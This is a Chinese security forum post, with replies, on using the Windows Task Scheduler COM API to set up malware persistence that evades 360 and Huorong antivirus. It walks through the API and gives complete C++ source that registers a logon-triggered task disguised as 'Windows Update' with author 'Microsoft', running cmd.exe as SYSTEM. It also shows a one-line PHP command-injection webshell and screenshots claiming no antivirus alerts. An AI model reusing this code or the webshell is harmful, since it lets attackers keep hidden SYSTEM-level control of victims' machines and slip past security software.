用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

0

主题

1

帖子

20

魔法币
收听
0
粉丝
0
注册时间
2020-11-1
发表于 2020-11-1 01:12:01 68851
本帖最后由 Onlyw0503 于 2020-11-2 22:46 编辑

本文原创作者Onlyw0503,本文属i春秋原创奖励计划,未经许可禁止转载!

【持久化】使用Windows API Bypass 杀软对计划任务的检测

相信大家在做持久化阶段的时候会遇到同一个头疼的问题。免杀倒是很好用,但在进行权限维持的过程会被杀软检测并且拦截。本文会详细的讲述Windows API Task Scheduler部分在做持久化的时候需要调用方法。
杀软这个东西确实很坑,免杀好不容易做好了。直接执行创建计划任务还被拦截,真的是让人脑壳痛

0x01 什么是 Task Scheduler

Task schduler:任务调度程序,可以理解他的作用跟Linux下的Crontab作用类似,但是要比Linux Crontab强大很多。不单单可以执行定时任务,还可以根据某些特定的条件来启动其他应用,发送电子邮件等任务。支持的条件触发如下:

发生特定系统事件时触发。
特定时间触发(每天,每周,每月)
当计算机进入空闲状态时触发
注册任务时触发
系统启动时触发
用户登录时触发
终端服务器会话更改状态时触发

有了这些触发方式,再也不怕马子掉了。。。

0x02 关键点

2.1 IRegistrationInfo interface(注册信息接口)

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iregistrationinfo
BNsmZV.md.png
使用Windows图形化创建任务举例:
BNrjKI.png

关键方法

2.1.1 IRegistrationInfo::get_Author

HRESULT get_Author(
  BSTR *pAuthor
);

该方法对应设置计划任务程序的创建者

2.1.2 IRegistrationInfo::get_Description

HRESULT get_Description(
  BSTR *pDescription
);

该方法对应设置计划任务程序的描述

2.2 ITaskDefinition interface(计划定义接口)

定义任务的所有组件,如任务设置、触发器、操作和注册信息。

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itaskdefinition

BNynOI.png

关键方法

2.2.1 ITaskDefinition::get_Settings

获取或设置定义任务调度程序执行任务方式的设置。

HRESULT get_Settings(
  ITaskSettings **ppSettings
);
2.2.1.1 ITaskSettings::get_StartWhenAvailable

设置是否可以在计划时间过后的任何时间启动任务

HRESULT get_StartWhenAvailable(
  VARIANT_BOOL *pStartWhenAvailable
);
2.2.1.2 ITaskDefinition::get_Actions

定义任务的所有组件,如任务设置、触发器、操作和注册信息。

HRESULT get_Actions(
  IActionCollection **ppActions
);

2.2.2 ITaskDefinition::get_Triggers

设置用于启动任务的触发器的集合

HRESULT get_Triggers(
  ITriggerCollection **ppTriggers
);

2.3 ITriggerCollection interface (触发器收集接口)

提供用于向任务添加、删除和获取任务的触发器的方法。

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itriggercollection

BN6bPU.png

关键方法

2.3.1 ITriggerCollection::Create

为任务创建触发器

HRESULT Create(
  TASK_TRIGGER_TYPE2 type,
  ITrigger           **ppTrigger
);

参数如下

参数 触发方式
TASK_TRIGGER_EVENT 事件触发
TASK_TRIGGER_TIME 时间触发
TASK_TRIGGER_DAILY 每天触发
TASK_TRIGGER_WEEKLY 每周触发
TASK_TRIGGER_MONTHLY 每月触发
TASK_TRIGGER_MONTHLYDOW 按每月星期几触发
TASK_TRIGGER_IDLE 系统空闲是触发
TASK_TRIGGER_REGISTRATION 注册任务时触发
TASK_TRIGGER_BOOT 启动触发
TASK_TRIGGER_LOGON 用户登录时触发
TASK_TRIGGER_SESSION_STATE_CHANGE 会话更改时触发

2.3.1.1 IAction interface (行为接口)

提供所有操作对象继承的通用属性,由ITriggerCollection::Create创建

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iaction

2.3.1.1.1 IAction::get_Id method

获取或设置操作的标识符。

HRESULT get_Id(
  BSTR *pId
);

2.4 ITrigger interface (触发器接口)

提供由所有触发器对象继承的通用属性。

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itrigger

BN20KJ.png

关键方法

2.4.1 ITrigger::put_Id

获取或设置触发器的标识符

HRESULT put_Id(
  BSTR id
);

2.4.2 ITrigger::get_StartBoundary

获取或设置触发触发器的日期和时间

HRESULT get_StartBoundary(
  BSTR *pStart
);

2.4.3 ITrigger::put_EndBoundary

获取或设置停用触发器的日期和时间

HRESULT put_EndBoundary(
  BSTR end
);

2.5 LogonTrigger interface (登录触发器接口)

表示在用户登录时启动任务的触发器。当任务调度程序服务启动时,将枚举所有登录用户,并运行与登录用户匹配的登录触发器注册的所有任务。

简单的来说就是控制用户后登录触发的登录触发器接口,通常是定义某个用户登录计算机后触发的触发器

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-ilogontrigger

BUuNFO.png

关键方法

2.5.1 ILogonTrigger::put_UserId

获取或设置用户的标识符

HRESULT put_UserId(
  BSTR user
);

2.6 IActionCollection interface (动作收集接口)

任务执行的操作

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iactioncollection

关键方法

2.6.1 IActionCollection::Create

创建动作并将其添加集合中

HRESULT Create(
  TASK_ACTION_TYPE type,
  IAction          **ppAction
);

TASK_ACTION_TYPE参数如下:

参数 含义
TASK_ACTION_EXEC 执行命令操作
TASK_ACTION_COM_HANDLER 触发COM程序
TASK_ACTION_SEND_EMAIL 发送电子邮件
TASK_ACTION_SHOW_MESSAGE 显示信息框

2.7 IExecAction interface (命令行动作接口)

表示执行命令行操作的操作。

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iexecaction

BU1BZR.png

关键方法

2.7.1 IExecAction::put_Path

获取或设置可执行文件的路径

HRESULT put_Path(
  BSTR path
);

2.7.2 IExecAction::put_Arguments

获取或设置与命令行操作关联的参数。

例如 cmd /c 程序后面要加的控制参数

HRESULT put_Arguments(
  BSTR argument
);

2.8 TaskFolder interface (任务文件夹接口)

提供用于在文件夹中注册(创建)任务、从文件夹中删除任务以及在文件夹中创建或删除子文件夹的方法。

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itaskfolder

BU18I0.png

关键方法

2.8.1 ITaskFolder::RegisterTaskDefinition

在指定位置注册(创建)任务以定义任务

HRESULT RegisterTaskDefinition(
  BSTR            path,
  ITaskDefinition *pDefinition,
  LONG            flags,
  VARIANT         userId,
  VARIANT         password,
  TASK_LOGON_TYPE logonType,
  VARIANT         sddl,
  IRegisteredTask **ppTask
);

这是创建计划任务的最后一步,执行到这一步就开始向系统注册计划任务了。

参数很多 返回也很多。

参数一个一个的解释吧:

参数:path

任务的名称 可赋值为null null表示为在根任务文件夹内注册

参数:pDefinition

注册任务的定义,通常调用任务生成器对象、。

参数:flags

动作 含义
TASK_VALIDATE_ONLY 仅验证
TASK_CREATE 仅创建
TASK_UPDATE 仅更新
TASK_CREATE_OR_UPDATE 创建并更新
TASK_DISABLE 禁用
TASK_DONT_ADD_PRINCIPAL_ACE 不更改允许的访问控制条目
TASK_IGNORE_REGISTRATION_TRIGGERS 忽略注册触发器创建

参数:userid

启动身份

该方法对应设置计划任务程序的"运行程序时,请使用下列的用户账户"的账户

在持久化过程中,可以配置为system用户。这样木马自动被触发后就是system权限。也可以配置为administrator账户,根据实际场景配置。

参数:password

启动身份密码

该方法对应设置计划任务程序的"运行程序时,请使用下列的用户账户"的密码

在持久化过程中如果使用其他账户触发时,且该账户有密码。请完善此参数以便获取触发权限。system账户此值置空即可。

参数:logonType

定义用于注册任务的登录类型

动作 含义
TASK_LOGON_NONE 未指定
TASK_LOGON_PASSWORD 使用密码登录
TASK_LOGON_S4U 使用交互令牌登录
TASK_LOGON_INTERACTIVE_TOKEN 在当前会话中运行
TASK_LOGON_GROUP 组激活
TASK_LOGON_SERVICE_ACCOUNT 使用本地服务账户登录
TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD 先使用交互令牌,如果没有,使用密码登录

参数:sddl

注册任务关联描述符,一般置空即可

参数:ppTask

传递对NULL IRegisteredTask 接口指针的引用

0x03 实现

编译环境 Visual Studio 2019

项目属性有几个地方需要配置:

1.代码生成运行库要选择多线程,选多线程dll需要目标主机安装Visual C++运行库

BND5tg.png

2.语言选项内符合模式要选否,否则可能会编译失败

BNrPj1.png

废话不多说先上代码, 感谢微软爸爸提供DEMO。为了让大家都能看懂,代码注释已经写得很明确了


// Tasksch.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  引入计划任务头
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain()
{

    // 初始化COM
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if( FAILED(hr) )
    {
        printf("\nCoInitializeEx failed: %x", hr );
        return 1;
    }

    // 注册安全性并设置该过程的默认安全性值。
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        0,
        NULL);

    LPCWSTR wszTaskName = L"Windows Update"; //设置计划任务名称

    //创建ITaskService的实例

    ITaskService *pService = NULL;
    hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
                           (void**)&pService );  

    // 链接到任务实例
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());

   //     获取指向根任务文件夹的指针。
    ITaskFolder *pRootFolder = NULL;
    hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );

    //  如果存在相同的任务删除该任务
    pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

    //  创建任务生成器对象以创建任务。
    ITaskDefinition *pTask = NULL;
    hr = pService->NewTask( 0, &pTask );

    pService->Release();  //清理Com

    // 获取注册信息
    IRegistrationInfo *pRegInfo= NULL;
    hr = pTask->get_RegistrationInfo( &pRegInfo );
    hr = pRegInfo->put_Author(L"Microsoft");                                // 修改你想要改的计划任务创建者

    //  创建计划任务设置
    ITaskSettings *pSettings = NULL;
    hr = pTask->get_Settings( &pSettings );

  //      设置任务的设置值
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();  

    //  ------------------------------------------------------
    //  获取取触发器集合以插入登录触发器。
    ITriggerCollection *pTriggerCollection = NULL;
    hr = pTask->get_Triggers( &pTriggerCollection );

    //  添加触发器
    ITrigger *pTrigger = NULL;
    hr = pTriggerCollection->Create( TASK_TRIGGER_LOGON, &pTrigger );   //TASK_TRIGGER_EVENT 事件触发
                                                                                                                         // TASK_TRIGGER_TIME   特定时间触发
                                                                                                                         // TASK_TRIGGER_DAILY  每天触发
                                                                                                                         // TASK_TRIGGER_WEEKLY 每周触发
                                                                                                                         // TASK_TRIGGER_MONTHLY  每月触发
                                                                                                                         // TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发
                                                                                                                         // TASK_TRIGGER_IDLE   系统空闲时触发
                                                                                                                         // TASK_TRIGGER_REGISTRATION   注册任务时触发
                                                                                                                         // TASK_TRIGGER_BOOT   启动触发
                                                                                                                         // TASK_TRIGGER_LOGON  用户登录触发
                                                                                                                         // TASK_TRIGGER_SESSION_STATE_CHANGE   会话更改时触发
    pTriggerCollection->Release();

    ILogonTrigger *pLogonTrigger = NULL;       
    hr = pTrigger->QueryInterface( 
            IID_ILogonTrigger, (void**) &pLogonTrigger );
    pTrigger->Release();

    hr = pLogonTrigger->put_Id( _bstr_t( L"Trigger1" ) );

    /*
    //设置指定触发时间 如果不设置 代表任何时间都可以触发

    hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") );

    hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") );
    */

    /*
    //  定义某个用户 登录时触发 注释掉代表所有用户登录后触发

    hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) );   //某用户登录后触发 设置某用户
                                                                                                                //put_UserId    获取或设置用户的标识符。 参数 BSTR user
                                                                                                                //HRESULT put_UserId(
                                                                                                                //  BSTR user
                                                                                                                //);

                                                                                                                //put_Delay      获取或设置一个值,该值指示用户登录到开始任务之间的时间。 参数 BSTR delay
                                                                                                                //HRESULT put_Delay(
                                                                                                                //  BSTR delay
                                                                                                                //);

    pLogonTrigger->Release();

   */

    IActionCollection *pActionCollection = NULL;
    hr = pTask->get_Actions( &pActionCollection );
    IAction *pAction = NULL;
    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction ); //触发程序执行: TASK_ACTION_EXEC
    IExecAction *pExecAction = NULL;
    hr = pAction->QueryInterface( 
        IID_IExecAction, (void**) &pExecAction );

    hr = pExecAction->put_Path( _bstr_t(L"C:\\windows\\SYSTEM32\\cmd.exe") );
    pExecAction->Release();
    if( FAILED(hr) )
    {
        printf(" 无法设置程序执行路径: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    IRegisteredTask *pRegisteredTask = NULL;

    hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t( wszTaskName ),
            pTask,
            TASK_CREATE_OR_UPDATE,  // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE 
                                                            //仅更新:TASK_UPDATE
                                                            //仅创建:TASK_CREATE
                                                            //禁用:TASK_DISABLE

            _variant_t(L"system"),  // 启动身份 system 或者administrator 
            _variant_t(), 
            TASK_LOGON_GROUP, //登录技术  组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
            _variant_t(L""),
            &pRegisteredTask);

    if( FAILED(hr) )
    {
        printf("\n无法保存计划任务 : %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    printf("Success! 成功注册计划任务 " );

    // Clean up
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
}

0x04 测试

环境:server 2008 R2

AV :360安全卫士 360杀毒 火绒

360测试结果

BUgiUx.png

火绒测试结果

BUgZxe.png

运行后自动添加计划任务 杀软无提示
BUgWZR.png
BUWDit.png
BUW2LQ.png

0x05 参考

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page

实现源码以及示例程序:

https://github.com/Onlyw0503/TaskScheduler-Bypass

作者微信:Onlyw0503


2020-11-2日更新

可能大家看到了,评论区有位老哥被屏蔽了!

先上一张图

BBRcfs.png

第一天写文章,第二天被前辈喷。真有你的!

首先我先跟你声明一下,我不管你认不认识我,能不能看到我这词更新也好,你是不是我朋友也好,还是你仅仅只是看我是个新号就是想喷喷我的文章。请你在喷之前,动手实践一下好嘛?我承认可能是我后面写的可能有点简单,入不了您的眼。但您不至于说我这篇文章不是真东西吧。

首先您说杀毒断网可能会影响主动是吧?

测试如下(全程联网测试):

首先用PHP写一个简单的命令注入,模拟一个网站存在命令注入,360拦截情况

<?php system($_GET['a']) ?>

当执行增加计划任务时 360会提示cmd正在运行

BDjzjK.md.jpg

当点击允许的时候 会提示计划任务正在运行

BDjxc6.md.jpg

这时候换上我们文章内的程序。

杀毒检测

BDv9BD.md.jpg

PHP执行后无任何告警,并成功添加

BDvpnO.jpg

在发两张GIF让大家看看效果

所以说这位前辈,麻烦说话的时候请动动脑子。不要无脑喷好嘛。

发表于 2020-11-1 12:55:07
本帖最后由 ID_Angel 于 2020-11-1 16:43 编辑

强啊
使用道具 举报 回复
太强了吧!!
使用道具 举报 回复
提示: 该帖被管理员或版主屏蔽
使用道具 举报 回复
发表于 2020-11-2 14:23:27

360只要更新好以后,当360图标不出现感叹号时,其主动防御还是存在的,跟断网没有太大的关系,也不会像你说的断网后360不会主动防御,断网杀毒仅仅是避免杀软对样本进行强制上传,能不能秒杀,你自己试试不就复现不就知道了,好好学技术不香吗,别老想着怼人行吗。
使用道具 举报 回复
发表于 2020-11-2 22:55:16

请问兄弟,你有东西吗?
W3bSafe Team 信息安全从未止步
使用道具 举报 回复
发表于 2020-11-3 15:12:35
好贴!
让我们一起干大事!
有兴趣的表哥加村长QQ:780876774!
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册